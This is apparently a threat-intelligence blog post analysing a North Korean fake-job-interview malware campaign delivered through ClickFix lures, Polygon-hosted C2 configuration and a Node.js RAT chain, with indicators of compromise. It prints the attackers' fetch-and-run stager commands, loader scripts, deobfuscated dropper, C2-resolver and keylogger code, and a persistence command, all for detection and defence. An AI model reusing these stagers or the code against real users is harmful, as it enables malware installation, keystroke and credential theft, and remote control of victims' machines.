DPRK's Contagious Interview Meets ErrTraffic
DPRK's Contagious Interview campaign appears to have started buying ClickFix traffic from ErrTraffic, a kit sold as a service, alongside its fake recruiter and fake interview lures. Every route delivers a portable Node.js loader that resolves its C2 from Polygon smart contracts labelled team1 to team10, plus a second npm.zip RAT kit with a hardcoded C2.
Intro
In my last post I looked at a number of ClickFix campaigns and briefly mentioned the phishing tracker I had been building to identify and track phishing campaigns and related infrastructure.
One of the findings caused me to look a little deeper. The result: multiple DPRK campaigns sharing the same techniques and infrastructure, and evidence of DPRK utilising ErrTraffic as a delivery mechanism.
For those who want the quick version, here’s a summary:
- Victims are approached by fake recruiters, asked to run a GitHub repo or a “fix” during a video interview, or hit a ClickFix lure on a compromised WordPress site or a fake crypto company site such as
www[.]tokenmetrics[.]org - The WordPress ClickFix overlay matches Push Security’s description of ErrTraffic v3, a ClickFix kit sold as a service: Polygon-hosted config, Win+X then I, and separate Windows and macOS commands. DPRK appears to have started buying untargeted ClickFix traffic alongside its targeted lures
- The stagers all hand the same decoy to anything that isn’t
curl, which ties together a dozen more stagers, three of them active this week - All roads lead to
token.cmd/tokenlinux.sh, which install a portable Node.js from nodejs.org and run an obfuscated loader from~/.task - The loader drops
~/.vs_cache/main.js, which reads its C2 from a Polygon contract, then pulls the next stage from<C2>:5000/session/<id>and runs it in memory - The C2 hands over an in-memory RAT that registers the victim, pulls down a keylogger it calls the “Keyboard Sync Agent” and a DLL for decrypting Chrome’s saved passwords and cookies, then uploads whatever it finds
- One funding wallet set up five deployer wallets in two minutes on 2026-09-17, each deploying a contract with C2 entries labelled
team1,team2,team3,team9andteam10 - A second chain,
2.bat→ an 84 MBnpm.zip→1.d, ships a full remote-control RAT kit with a hardcoded C2 - A developer targeted by the campaign later reported the same treasury wallet independently.
If you’re still with me, let’s dive into the details.
How Victims Get Here
There are four ways in. The first three end at the same token scripts, and the fourth leads to stagers that cloak, are named and are hosted the same way.
1. The Fake Recruiter
This is the classic Contagious Interview approach. A “recruiter” approaches a developer, usually on LinkedIn, and somewhere in the hiring process asks them to clone and run a GitHub repo as a technical test, often while on a live video call so there’s pressure to just get on with it. Running the repo pulls the same loader covered below. I’ll come back to a real example of this from someone who was targeted, once we’ve been through the malware and the infrastructure behind it.
The GitHub repo route matches what Google’s Threat Intelligence Group described for UNC5342 in October 2025, fake interviews, a “technical test”, and a loader that pulls its next hop from a smart contract.
2. The Interview “Camera Fix”
The second route is what Sekoia named ClickFake Interview back in March 2025.

The victim joins a fake video interview, the camera “fails”, and the page offers a command to fix it. I found four servers hosting those fix commands, one file per OS, under a campaign number in the path:
::@echo off
if exist "%USERPROFILE%\parse" del "%USERPROFILE%\parse"
if exist "%USERPROFILE%\token.cmd" del "%USERPROFILE%\token.cmd"
curl -s -L -o "%USERPROFILE%//token.cmd" "hxxp[:]//84.200.33[.]163/302/token.cmd" token.cmd
"%USERPROFILE%\token.cmd"
::cls
#!/bin/bash
set -e
echo "Authenticated"
mkdir -p "$HOME/.task"
TARGET_DIR="$HOME/.task"
clear
wget -q -O "$TARGET_DIR/tokenlinux.sh" "hxxp[:]//84.200.33[.]163/302/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0
302w is Windows, 302l Linux and 302m macOS. The echo "Authenticated" followed by a wall of clear is all the victim sees.
| Host | Paths | Seen |
|---|---|---|
84.200.33[.]163 | /302/ | From 2026-09-30 |
144.172.103[.]226 | /301/, /302/ | From 2026-06-30 |
38.146.27[.]178 | /302/ | From 2026-09-10 |
216.126.239[.]166 | /69/ | 2026-09-22 |
3. ClickFix on Compromised WordPress Sites
This is the route from my last post, and it’s grown. It’s now on at least 36 compromised WordPress sites between 17 and 28 October.

The command the overlay copies to the clipboard does two things:
cmd.exe /c "curl.exe -sL -d ""id=c25152f7-e76c-486e-825a-65e9e2a10ea3"" -d ""location=America%2FNew_York%20%7C%20en-US"" -d ""siteUrl=hxxps%3A%2F%2Fmineralsempire[.]com%2F"" -d ""os=win11"" -d ""lastVisitAt=2026-10-28T07%3A31%3A48.589Z"" -d ""lastShellAt=2026-10-28T07%3A31%3A48.589Z"" ""hxxps[:]//script[.]google[.]com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/exec"" & curl.exe -s hxxps[:]//script-six-tawny[.]vercel[.]app/win -L | cmd"
- POSTs the victim’s ID, timezone, the site they were on and their OS to a Google Apps Script, which works as a free victim logger
- Pipes
script-six-tawny[.]vercel[.]app/winintocmd
/win cloaks on User-Agent. A browser gets a harmless page titled “My Automation Script”, while curl gets this:
::@echo off
if exist "%USERPROFILE%\parse" del "%USERPROFILE%\parse"
if exist "%USERPROFILE%\token.cmd" del "%USERPROFILE%\token.cmd"
curl -s -L -o "%USERPROFILE%//parse" "hxxps[:]//ymbbbklz4w24ikhj[.]public[.]blob[.]vercel-storage[.]com/token_windows.cmd"
ren "%USERPROFILE%\parse" token.cmd
"%USERPROFILE%\token.cmd"
::cls
It’s the same shape as the interview 302w command, just fetching from Vercel Blob instead of a bare IP. The response was byte for byte identical on 18 and 28 October.
The overlay also gives itself away in the page source. It keeps its settings in JavaScript globals, __AVT_CMD, __AVT_OS_LABEL, __AVT_VERCEL_BASE and __AVT_APPS_SCRIPT_URL, and marks itself with a cogni-lsc-captcha comment. There’s also a function called __cogniRivalKill, which, as the name suggests, removes other operators’ injections from the page. Those markers led to another 20 sites copying the same command on 28 October.
The overlay itself is EtherHiding too. The injected JavaScript reads Polygon contract 0xf70730a4e5b89b6c6e02edaed582badf6465e9d9, which holds the Apps Script URL and the Vercel host. That contract was deployed on 2026-09-23 by 0x4b3ebea0e6795915da2fdd7f4b144e106b4497d2, and the same wallet deployed two new contracts on 27 October, pointing at softify[.]space/w/8ecec3ba, softify[.]space/u/8ecec3ba and a fresh Apps Script ID. So that side is mid-rotation as I write this.
This Looks Like ErrTraffic
So is this DPRK running ClickFix on WordPress? Not quite. I think they’ve started buying it, and for me that’s the most important new development in this post.
Push Security’s State of ClickFix report describes ErrTraffic, a ClickFix kit sold as a service for $300-380 a month, with 11+ confirmed buyers. It was the single biggest kit Push saw in August, at 34% of their ClickFix detections. According to Push, ErrTraffic:
- gets injected into compromised websites, mostly WordPress
- moved its configuration onto Polygon in its v3 release, read through public RPC endpoints, so one transaction rotates the payload URL on every compromised site at once
- serves different instructions to Windows and macOS visitors
- tells Windows victims to press Win+X then I, which opens an admin PowerShell or Terminal, rather than the usual Win+R
- picks its lure from a library of “faces”, one of which is a fake Cloudflare “verify you are human” screen
The overlay delivering this loader ticks every one of those boxes. Here’s the relevant part of the injected script, trimmed but otherwise as served:
function getVercelCommand(os) {
var base = VERCEL_BASE || FALLBACK_VERCEL_BASE;
if (os === 'linux') return "wget -qO- '" + base + "/lin' -L | sh";
if (os === 'mac') return "curl -s '" + base + "/mac' -L | sh";
return "curl.exe -s " + base + "/win -L | cmd";
}
var rpcList = [
'https://polygon.drpc.org',
'https://rpc.ankr.com/polygon',
'https://1rpc.io/matic',
'https://polygon-bor-rpc.publicnode.com',
'https://polygon-public.nodies.app',
'https://polygon-mainnet.public.blastapi.io',
'https://polygon.gateway.tenderly.co',
'https://rpc-mainnet.matic.quiknode.pro'
];
var linkConfigContract = "0xf70730A4E5b89B6C6E02EdaeD582badf6465e9D9";
var linkSelectors = {
getAppsScriptUrl: "4e58e2f7",
getVercelBase: "badd62db",
getVersion: "0d8e6e2c"
};
var domainContractAddress = "0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2";
var LINK_CFG_CACHE_KEY = "cogni_link_cfg";
// English instructions shown to Windows visitors
en: { verificationTitle: 'Human Verification',
step1: '<b>' + WINDOWS_LOGO_SVG + ' + X</b>',
step2: '<b>I</b>', step2Chip: 'or choose Terminal',
step3: '<b>Ctrl + V</b>', step4: '<b>Enter ↵</b>',
windowsKeyHelp: 'This is the Windows key, located at the bottom of your keyboard between Ctrl and Alt, under the Z key' }
| ErrTraffic, as Push describes it | The overlay delivering this loader |
|---|---|
| Injected into compromised WordPress sites | Injected into compromised WordPress sites |
| v3 keeps its config on Polygon, read through public RPCs | Reads 0xf70730a4e5b89b6c6e02edaed582badf6465e9d9 through eight public Polygon RPCs, with a getVersion call so a new value reaches every site at once |
| Windows and macOS instructions | Separate Windows, macOS and Linux commands (/win, /mac, /lin) |
| Win+X then I | ”⊞ + X”, then “I, or choose Terminal” |
| Fake Cloudflare “verify you are human” face | Fake Cloudflare “Human Verification” page with a Cloudflare logo and a Ray-style “ID Code” |
The macOS branch isn’t a placeholder either. script-six-tawny[.]vercel[.]app/mac returns a script that drops token_mac.sh from the same Vercel Blob store as token_windows.cmd.
If that’s right, it’s a real change in approach. Everything else in this post is targeted: a recruiter, an interview, a fake company built for one conversation. ErrTraffic is the opposite, untargeted traffic from whoever lands on a hacked small-business website. From 18 to 28 October I saw 114 visits across 38 compromised sites where the overlay copied a command leading to the DPRK loader. It was still doing so on the 28th.
The contract is also already moving. On 27 October the same deployer wallet created two new versions pointing at softify[.]space, which hands off to updpkg[.]net and dist-cdn[.]net.
4. Fake Crypto Company Sites
The fourth route started with a Vercel app, status-handler-sage[.]vercel[.]app, that web pages were POSTing visitors to at /api/entered-site. Three sites send their visitors there, all of them fake crypto companies hosted on Vercel:
| Site | Poses as | Seen |
|---|---|---|
www[.]tokenmetrics[.]org | ”Token Metrics, Infrastructure for tokenized assets” | 2026-10-18 to 2026-10-28, still up |
www[.]onerapay[.]com | ”OneraPay”, a crypto exchange | 2026-09-23 |
www[.]billiontowers[.]com | ”Web3 Finance & Stablecoin Investment” | 2026-09-24 |
Each one POSTs the visitor to /api/entered-site?token=<n>, keeps polling /api/get-status?requestId=<your-ip-with-dashes>&token=<n>, and then shows a fake reCAPTCHA. Clicking it copies a command like this, pulled from the Billion Towers script:
cmd /c curl -s hxxps[:]//api[.]recapcha[.]fun/auth/v1?token=310 | cmd /q && exit /b :: "I am not a bot. I am fixing issues as a service. ID: 4695"
Linux gets wget -qO- 'hxxps[:]//api[.]recapcha[.]fun/auth/v2?token=310' | sh and macOS curl 'hxxps[:]//api[.]recapcha[.]fun/auth/v3?token=310' | sh. The token is a per-site campaign number, 304 on Token Metrics, 306 on OneraPay and 310 on Billion Towers. The text after :: is a comment to cmd, it’s only there so the Run box shows something reassuring.
api[.]recapcha[.]fun cloaks the same way /win does. A browser gets a two-line batch file instead of the real stage:
@echo off
echo Authenticated
That Authenticated should look familiar, it’s the same thing the 302l camera fix prints. It also makes a good fingerprint. The same 28-byte decoy (8fcbd1c464365a8a56beeec6da4b944babda843cd3961fdd75220f446b7c0e84) is served by a whole set of other stagers, and two more cloak responses, Permanently suspended and Access permanently suspended., do the same job on others. Between them they tie together these stagers:
| Stager | Found by | Last seen |
|---|---|---|
165.140.86[.]190:3000 | Authenticated and Access permanently suspended. decoys | 2026-10-26 |
162.0.239[.]85:3000 | Access permanently suspended. decoy | 2026-10-17 |
zenithflow-ext123456[.]vercel[.]app | Permanently suspended decoy | 2026-10-25 |
codeviewer-three[.]vercel[.]app | Access permanently suspended. decoy | 2026-03-18 |
brantwork[.]vercel[.]app, georgeservice77[.]vercel[.]app | Authenticated decoy | January to February 2026 |
ext-checkedin[.]vercel[.]app, everydaynodechecker-39147n[.]vercel[.]app | Permanently suspended decoy | February and July 2026 |
The stagers also share URL shapes, /task/windows?token=, /task/linux?token=, /task/mac?token= and /task/tokenlinux (hello again, tokenlinux.sh), or /api/w, /api/l and /api/m on -ext<digits> Vercel apps. Those shapes point to more, but Vercel had already taken most of them down.
The best tie back to the loader is 165.140.86[.]190. It sits in the same Tier.Net /24 as 165.140.86[.]57, team10’s earlier C2, and 165.140.86[.]58, which answers with the X-File-Mtime-Ms header. The bare-IP stagers are also all Windows servers with RDP and WinRM open, the same pattern as the C2 boxes.
Stage 1 - token.cmd / tokenlinux.sh
token_windows.cmd-(5784bc7081fe600212a4d24c304159d4135fdbdd292e3b2214e88b4bb70463a5), 20/56 on VirusTotal as trojan.clickfix/deceptivedevelopment. DeceptiveDevelopment is ESET’s name for this campaign.
The Windows script relaunches itself hidden, then installs its own copy of Node.js straight from nodejs.org. Here it is in full:
@echo off
title Creating new Info
setlocal enabledelayedexpansion
if "%~1" neq "_restarted" powershell -WindowStyle Hidden -Command "Start-Process -FilePath cmd.exe -ArgumentList '/c \"%~f0\" _restarted' -WindowStyle Hidden" & exit /b
REM Get latest Node.js version using PowerShell
for /f "delims=" %%v in ('powershell -Command "(Invoke-RestMethod https://nodejs.org/dist/index.json)[0].version"') do set "LATEST_VERSION=%%v"
REM Remove leading "v"
set "NODE_VERSION=%LATEST_VERSION:v=%"
set "NODE_MSI=node-v%NODE_VERSION%-x64.msi"
set "DOWNLOAD_URL=https://nodejs.org/dist/v%NODE_VERSION%/%NODE_MSI%"
set "EXTRACT_DIR=%~dp0nodejs"
set "PORTABLE_NODE=%EXTRACT_DIR%\PFiles64\nodejs\node.exe"
set "NODE_EXE="
if defined NODE_EXE (
echo [INFO] Node.js is already installed globally: %NODE_INSTALLED_VERSION%
) else (
if exist "%PORTABLE_NODE%" (
echo [INFO] Portable Node.js found after extraction.
set "NODE_EXE=%PORTABLE_NODE%"
set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
) else ( echo [INFO] Node.js not found globally. Attempting to extract portable version...
:: -------------------------
:: Download Node.js MSI if needed
:: -------------------------
where curl >nul 2>&1
if %errorlevel% NEQ 0 (
echo [INFO] Using PowerShell to download Node.js...
powershell -Command "Invoke-WebRequest -Uri '%DOWNLOAD_URL%' -OutFile '%~dp0%NODE_MSI%'"
) else (
echo [INFO] Using curl to download Node.js...
curl -s -L -o "%~dp0%NODE_MSI%" "%DOWNLOAD_URL%"
)
if exist "%~dp0%NODE_MSI%" (
echo [INFO] Extracting Node.js MSI to %EXTRACT_DIR%...
msiexec /a "%~dp0%NODE_MSI%" /qn TARGETDIR="%EXTRACT_DIR%"
del "%~dp0%NODE_MSI%"
) else (
echo [ERROR] Failed to download Node.js MSI.
exit /b 1
)
if exist "%PORTABLE_NODE%" (
echo [INFO] Portable Node.js found after extraction.
set "NODE_EXE=%PORTABLE_NODE%"
set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
) else (
echo [ERROR] node.exe not found after extraction.
exit /b 1
)
)
)
%NODE_EXE% -v >nul 2>&1
if errorlevel 1 (
echo [ERROR] Node.js execution failed.
exit /b 1
)
set "USERPROFILE=%USERPROFILE%"
echo [INFO] Downloading parser.npl and package.json...
MD "%USERPROFILE%\.task" 2>nul
curl -L -o "%USERPROFILE%\.task\parser.npl" "hxxps[:]//ymbbbklz4w24ikhj[.]public[.]blob[.]vercel-storage[.]com/101.js"
curl -L -o "%USERPROFILE%\.task\package.json" "hxxps[:]//ymbbbklz4w24ikhj[.]public[.]blob[.]vercel-storage[.]com/json"
if not exist "%~dp0.task\node_modules\request" (
pushd "%~dp0.task"
echo [INFO] Installing NPM packages...
call npm install axios
if errorlevel 1 (
echo [ERROR] npm install failed.
popd
exit /b 1
)
popd
)
if exist "%~dp0.task\parser.npl" (
start "" /b "%NODE_EXE%" "%~dp0.task\parser.npl"
if errorlevel 1 (
echo [ERROR] execution failed.
exit /b 1
)
) else (
echo [ERROR] not found.
exit /b 1
)
echo [SUCCESS] successfully.
exit /b 0
msiexec /a is an administrative install, which just unpacks the MSI into a folder, a legitimate, signed node.exe to run the malware with. The loader is saved as parser.npl.
tokenlinux.sh does the same on Linux and macOS, pinning Node 20.11.1 for x64 or arm64, pulling parser.js and package.json from /302/ and running it with nohup into ~/.task/parser.log.
The package.json that comes alongside is a decoy.
{
"name": "tokendapp",
"version": "1.0.0",
"devDependencies": {
"hardhat": "^2.20.2"
},
"dependencies": {
"axios": "^1.12.2",
"basic-ftp": "^5.0.5",
"child_process": "^1.0.2",
"clipboardy": "^4.0.0",
"crypto": "^1.0.1",
"execp": "^0.0.1",
"fs": "^0.0.1-security",
"jsonwebtoken": "^9.0.2",
"process": "^0.11.10",
"ps-node": "^0.1.6",
"request": "^2.88.2"
},
"scripts": {
"test": "npx hardhat test",
"deploy": "npx hardhat run scripts/deploy.js"
}
}
Stage 2 - parser.npl, the Dropper
101.js - 01e36c45fdc0f44eb73f5c7faef01f73a4a8d3ec07f9d2c9a097f60636b7c875, 1/61 on VirusTotal.
It’s obfuscator.io output, a rotated string array behind a decoder function. Cleaned up, it’s a small dropper.
// Deobfuscated and simplified
const Z = path.join(os.homedir(), ".vs_cache"); // looks like a Visual Studio cache
const Q = path.join(Z, "main.js"), G = path.join(Z, "main.vbs");
const deps = { "axios": "latest", "better-sqlite3": "13.0.3", "node-machine-id": "latest", "socket.io-client": "latest" };
if (process.platform === "win32") { deps["@primno/dpapi"] = "latest"; deps["koffi"] = "3.1.2"; }
fs.mkdirSync(Z, { recursive: true });
fs.writeFileSync(Q, STAGE2); // stage 2 is embedded as one big string
fs.writeFileSync(path.join(Z, "package.json"), JSON.stringify({ name: "main", main: "main.js", dependencies: deps }));
npmInstall().on("close", () => { // hidden npm install, then launch
// main.vbs: Set sh = CreateObject("Wscript.Shell") / sh.Run Chr(34) & node & Chr(34) & " " & Chr(34) & main.js & Chr(34), 0, False
fs.writeFileSync(G, vbs(process.execPath, Q));
spawn("wscript.exe", ["//B", G], { windowsHide: true, detached: true }).unref(); // falls back to node main.js
});
The dependency list gives away what the final stage does before we ever see it:
| Package | Why it’s there |
|---|---|
better-sqlite3 | Reading browser Login Data, Cookies and Web Data databases |
@primno/dpapi | Decrypting the Chrome / Edge key and DPAPI blobs |
koffi | Native Windows API calls from JavaScript |
socket.io-client | The RAT channel |
node-machine-id | Victim ID |
That lines up with the BeaverTail / OtterCookie family, a RAT that steals passwords, wallet extensions and seed phrases.
Stage 3 - main.js, the C2 Lives on Polygon
main.js is another obfuscator.io layer. Once decoded it’s a C2 resolver and nothing else:
// Deobfuscated and simplified
const CONTRACT = "0x4917f0F44bE927E6E8B5e4c904a9Dd98BFaE8b76"; // Polygon
const KEY = "b9f494d3657202f17485afe7292e2aa"; // bytes32 lookup key
const SESSION = "ea5ed343a2885831";
const RPCS = ["hxxps[:]//summer-bitter-slug[.]matic[.]quiknode[.]pro/a64c9342d130b382e1669c44b1fd3eb724c3b014/", // the operator's own QuickNode
"hxxps[:]//polygon-bor[.]publicnode[.]com", "hxxps[:]//1rpc[.]io/matic",
"hxxps[:]//polygon[.]drpc[.]org", "hxxps[:]//gateway[.]tenderly[.]co/public/polygon"];
// eth_call: selector 0x8eaa6ac0 + the key as hex, padded to 32 bytes. The reply is an ABI string: "http://<ip>:5000"
const c2 = await resolveC2(0); // tries each RPC in turn, 5s timeout
const js = (await axios.get(c2 + "/session/" + SESSION)).data.sessions;
new Function("require", "module", "exports", "__dirname", "__filename", js)(require, module, exports, __dirname, __filename);
// if the chain gives nothing: GET hxxps[:]//kkhf7a[.]s[.]gy/ea5ed343a2885831 and do the same
The next stage arrives as a JSON field and runs through new Function with full access to require, so it never touches disk. The C2s are picky about who they serve it to, but a run of 101.js from early October, while team1’s contract still pointed at 13.140.43[.]225, shows exactly what comes next. That’s the next section.
Reading the contract, is just a public blockchain query, so I could see exactly where every infected machine was being sent. When I checked, the answer was http://13.140.228[.]125:5000.

Stage 4 - What the C2 Hands Over
Once main.js runs the /session/ code, the infected machine starts talking to the C2 properly. Here’s the full conversation, in order:
GET hxxp[:]//13.140.43[.]225:5000/session/ea5ed343a2885831 <- the in-memory RAT
GET hxxp[:]//ip-api[.]com/json/?fields=status,message,country,countryCode,regionName,city,query
POST hxxp[:]//13.140.43[.]225:5000/register <- victim check-in
GET hxxp[:]//13.140.43[.]225:5000/socket.io/?EIO=4&transport=websocket
GET hxxp[:]//13.140.43[.]225:5056/download-win-key <- keylogger
GET hxxp[:]//13.140.43[.]225:5056/socket.io/?EIO=4&transport=polling
POST hxxp[:]//13.140.43[.]225:5000/content-upload <- exfil
POST hxxp[:]//13.140.43[.]225:5000/file-upload <- exfil
GET hxxp[:]//13.140.43[.]225:5000/download-abe-payload <- Chrome key stealer DLL
So the RAT checks in, opens a socket.io channel for remote control on port 5000, and then pulls down two add-ons: a keylogger that talks to port 5056, and a DLL. Along the way it runs a few PowerShell one-liners to check if it’s in a VM.
Persistence
The RAT sets itself up to survive a reboot with a plain Run key, pointing back at the main.vbs from stage 2:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Realtime Aggregator" /t REG_SZ /d "wscript.exe \"C:\Users\<USER>\.vs_cache\main.vbs\"" /f
Before it does, it deletes three other Run values, along with their StartupApproved entries: NvidiaDriverUpdate, VScode.Update.Publisher and Microsoft Realtime Agreegator (with the typo). My read is that those are the names older versions of the same implant used, and it’s cleaning up after itself so a re-infected machine doesn’t end up running two copies.
The Keyboard Sync Agent
/download-win-key returns a 78 KB JavaScript file, saved as ~/.vs_cache/key-agent.js and started like this:
"C:\Program Files\nodejs\node.exe" C:\Users\<USER>\.vs_cache\key-agent.js --win-key-agent -s http://13.140.43[.]225:5056 -i 101 -l <hostname>
The -i 101 is likely a campaign number again, the same 101 as 101.js. The file is another obfuscator.io job, and it’s 0/75 on VirusTotal. Its banner gives the game away: “Keyboard Sync Agent - Windows Version (JS)”. Cleaned up, the interesting parts are:
// Deobfuscated and simplified
const SERVER = process.env.SERVER_URL || "http://1" + "3.140.43" + ".225:505" + "6"; // hardcoded team1 C2
const koffi = require("koffi"); // native Win32 calls from JS
const user32 = koffi.load("user32.dll");
// 1. Keystrokes: a low-level keyboard hook, run in a worker thread and passed back through a SharedArrayBuffer
SetWindowsHookExW(WH_KEYBOARD_LL, hookProc, GetModuleHandleW(null), 0);
// every key is turned into text ("[Enter]", "[Bksp]", "[Tab]", F-keys, shift and caps aware)
// and tagged with the app in front and its window title (GetForegroundWindow, QueryFullProcessImageNameW)
// 2. Clipboard: a hidden message-only window listening for WM_CLIPBOARDUPDATE (0x31d)
AddClipboardFormatListener(hwnd);
// Ctrl+C / Ctrl+Insert -> emit("clipboard:copy", { copiedText, appName, windowTitle }) in 32,768-character chunks
// Ctrl+V -> emit("clipboard:paste", { pastedText, appName, windowTitle })
// falls back to: powershell -NoProfile -Command Get-Clipboard -Raw
// 3. Reporting over socket.io
socket.emit("agent:register", { clientId, label, hostname, platform, arch, osVersionLabel, instanceUsername, token });
setInterval(() => socket.emit("key:batch", { events }), 1000);
setInterval(() => socket.emit("agent:heartbeat", { status: "alive", capturing }), 30000);
socket.on("capture:start", startCapture);
socket.on("capture:stop", stopCapture);
socket.on("clipboard:request", () => socket.emit("clipboard:response", { copiedText: readClipboard() }));
This is a purpose-built tool for stealing what people type and paste. Seed phrases, wallet passwords and 2FA codes are exactly the sort of thing that gets pasted, and every one of them arrives tagged with the window it went into.
The Chrome Key Stealer
/download-abe-payload drops abe_payload.dll, a small 9.7 KB x64 DLL (47a76888121a06bf9d56313b21be269a3b5acb32a7c25c0ef8c4739e219c27ce, 34/75 on VirusTotal). ABE is Chrome’s App-Bound Encryption, the protection Google added in 2024 to stop other processes from decrypting Chrome’s saved cookies and passwords. A DLL called abe_payload alongside better-sqlite3 and @primno/dpapi from stage 2 makes the job pretty clear: get the browser key, then read the password and cookie databases directly. Someone else has already uploaded the same DLL to MalwareBazaar tagged as Contagious Interview.
The Second Loader - npm.zip and 1.d
The second Vercel Blob store, cqintzfep6rw6jc9, has been serving a different chain since June:
powershell -WindowStyle Hidden -Command "cmd /c 'curl --ssl-no-revoke hxxps[:]//cqintzfep6rw6jc9[.]public[.]blob[.]vercel-storage[.]com/npm.zip -o %TEMP%\npm.zip && powershell -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABuAHAAbQAuAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAFwAbgBvAGQAZQAgAC0ARgBvAHIAYwBlAA== && cd %TEMP%\node && node 1.d'"
The encoded command is just Expand-Archive -Path $env:TEMP\npm.zip -DestinationPath $env:TEMP\node -Force. The older 1-1.bat does the same but opens a decoy README.txt first.
npm.zip is 84 MB, a portable node.exe plus a complete node_modules, so nothing needs to be installed from npm on the victim’s machine. Its package.json reads like a shopping list for remote control:
{
"dependencies": {
"@nut-tree-fork/nut-js": "^4.2.6", "axios": "^1.17.0", "clipboardy": "^5.3.1", "node-pty": "^1.1.0",
"screenshot-desktop": "^1.15.4", "sharp": "^0.34.5", "socket.io-client": "^4.8.3", "ssh2": "^1.17.0"
}
}
Mouse and keyboard control, an interactive shell, screenshots, the clipboard, SSH and socket.io. The store re-uploaded npm.zip on the morning of 28 October, so it’s still in use.
1.d is 2/75 on VirusTotal. It’s obfuscator.io again, this time with RC4-encrypted strings. The actual logic is a handful of lines:
// Deobfuscated and simplified
process.on("uncaughtException", () => {});
process.on("unhandledRejection", () => {});
const C2 = [91, 202, 5, 124].join("."); // built as "".concat(91, ".").concat(202, ".").concat(5, ".").concat(124)
axios.get("http://" + C2 + "/api/service/7a562685932fab76724a4e7217893ffb").then(r => {
fs.writeFileSync(path.join(os.tmpdir(), "node", "pack"), r.data);
execSync("node pack", { windowsHide: true, cwd: path.join(os.tmpdir(), "node") });
});
No smart contract here, the C2 is hardcoded. What ties it back to the Polygon loader is the server itself, which brings us to the infrastructure.
Infrastructure
The Polygon Contracts
The funding wallet, 0x62306bbaac0508d3be1647adeadc74ca43cacb41, sent 0.9 POL to five brand new wallets between 13:25 and 13:27 UTC on 2026-09-17. Ten minutes later, each of those wallets had deployed the same contract and written a C2 to it. Every write is made twice, once under a hex campaign key and once under a team label:
| Team | Contract | C2 history (http://<ip>:5000) |
|---|---|---|
| team1 | 0x4917f0f44be927e6e8b5e4c904a9dd98bfae8b76 | 13.140.43[.]225 → 13.140.228[.]125 (10-20) |
| team2 | 0x5c00998365a57cd53ab5ea2963689a158dff6301 | 45.59.163[.]43 → 13.140.40[.]133 (09-18) |
| team3 | 0x1a9700e5d74f64429594df53efcb6bc8c3936cb5 | 66.235.168[.]14 → 13.140.40[.]208 → 13.140.40[.]214 → 80.190.73[.]17 (09-28) |
| team9 | 0x05a071fcccb797cff4eedce28d0ae9c01444dc1a | 82.158.192[.]152 |
| team10 | 0xf4da4843ded8e82f3e7bd25290f4445000a4c4dd | 165.140.86[.]57 → 147.93.2[.]250 (09-23) |
There’s also a sixth contract with exactly the same bytecode, 0xb5a3db644aad5124b17bf96c3782d5d7623b89fd, deployed on 25 September by a wallet the team9 deployer funded. Its entries aren’t labelled with a team, they’re labelled collector, and the C2 runs on port 7200, flipping between 66.235.168[.]152 and 150.241.203[.]68. My guess is that’s where stolen data gets uploaded, separate from the servers that hand out the next stage.
Teams 4 to 8 are missing, so there are very likely more contracts funded from somewhere else.
C2 Servers and the X-File-Mtime-Ms Header
The C2s are Node.js Express servers, mostly on port 5000, and they answer with an unusual header:
Access-Control-Expose-Headers: Last-Modified,X-File-Modified-At,X-File-Mtime-Ms
X-Powered-By: Express
That header is rare, which makes it a good fingerprint. Every host below sends it, apart from 13.140.40[.]208, which I only know from the contract. The “Header only” hosts sit on the same providers but aren’t written to any contract I know of, which fits with teams 4 to 8 being out there somewhere.
| Hosts | Found by | Provider |
|---|---|---|
13.140.228[.]125, 13.140.40[.]133, 80.190.73[.]17, 82.158.192[.]152, 147.93.2[.]250 | Contract (current) + header | Contabo, Trunk Networks |
13.140.43[.]225, 45.59.163[.]43, 66.235.168[.]14, 13.140.40[.]214, 165.140.86[.]57 | Contract (earlier) + header | Contabo, Tier.Net |
13.140.40[.]208 | Contract only | Contabo |
91.202.5[.]124 | Hardcoded in 1.d + header | SOLLUTIUM |
195.66.213[.]162, 138.226.247[.]147, 138.226.247[.]152 (dashcenterhost[.]info), 138.226.247[.]154 | Header only | SOLLUTIUM |
13.140.43[.]228, 38.92.47[.]164, 45.43.11[.]224, 165.140.86[.]58, 45.59.160[.]215 | Header only | Contabo, Tier.Net |
Confirmation From Someone Who Was Targeted
A public posting on Chainabuse notes the Polygon contract being used in a Contagious Interview campaign.

The wallet 0x62306bbaac0508d3be1647adeadc74ca43cacb41, is exactly the funder I’d landed on from the contract side, so the two views of the campaign meet in the middle.
Campaign Summary
There’s a lot going on here, with several campaigns using mixed infrastructure, so I had AI put together a diagram from the contents of this post.
Related Reporting
- FBI PSA I-090324-PSA, September 2024, on North Korean social engineering against crypto and DeFi employees using fake job and investment offers
- Google Threat Intelligence Group - DPRK Adopts EtherHiding, October 2025, UNC5342 using BNB Smart Chain and Ethereum contracts in Contagious Interview (JADESNOW → BEAVERTAIL / INVISIBLEFERRET)
- Push Security - The State of ClickFix, by Detection Data, on ErrTraffic and its Polygon-based v3, the Win+X shift, and the other big ClickFix kits (TURNTIP, NOCHAIN, CLEARFAKE)
- Sekoia’s ClickFake Interview research, March 2025, covered by The Hacker News and BleepingComputer, the fake interview camera fix route
Conclusion
That brings this post to an end. The scale of the DPRK campaigns always surpises me, varying in delivery and techniques.
The volume of ClickFix campaigns I’m finding at the minute is also suprising, close to 1000 compromised WordPress sites in the last 24 hours. The reporting from Push Security on the current ClickFix state alligns clsoely with what I have been seeing as well.
I’m sure there will be more intetesting cases to dive into in the coming weeks, until next time.
Indicators of Compromise
The compromised WordPress sites are victims, not attacker infrastructure. Please notify them rather than block them outright. The full list is also available as a CSV.
Persona
| Type | Value | Notes |
|---|---|---|
| Name | Preston Ellis | Fake recruiter, reported by Kirill Popov |
